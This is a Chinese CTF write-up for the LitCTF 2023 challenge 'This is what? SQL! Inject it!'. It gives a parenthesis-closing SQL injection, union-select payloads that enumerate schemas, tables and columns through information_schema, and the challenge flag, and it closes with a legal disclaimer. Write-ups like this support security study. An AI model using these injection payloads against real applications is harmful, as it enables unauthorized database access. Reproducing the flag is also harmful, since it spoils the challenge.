【CTF Web】NSSCTF 3868 [LitCTF 2023]这是什么？SQL ！注一下 ！Writeup（SQL注入+报错注入+括号闭合）

[LitCTF 2023]这是什么？SQL ！注一下 ！

为了安全起见多带了几个套罢了o(▽)q
出题人 探姬

---

解法

先试试这个：

)))))) or 1=1 -- 

有结果了，但是这个 flag 是假的。

flag 可能在其他表里。先用 hackbar 爆库名。

1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+

爆表名。

1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

ctftraining 库中发现一个叫 flag 的表。

爆列名。

1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' --+

列名也叫 flag。

1)))))) UNION SELECT 1, flag FROM ctftraining.flag; --+

取得 flag。

Flag

NSSCTF{63d1b3ba-d5d7-420d-9276-c98150270782}

---

声明

本博客上发布的所有关于网络攻防技术的文章，仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行，并且严格遵守了相关法律法规。

博主坚决反对任何形式的非法黑客行为，包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时，必须遵守法律法规，不得用于任何非法目的。对于因使用这些技术而导致的任何后果，博主不承担任何责任。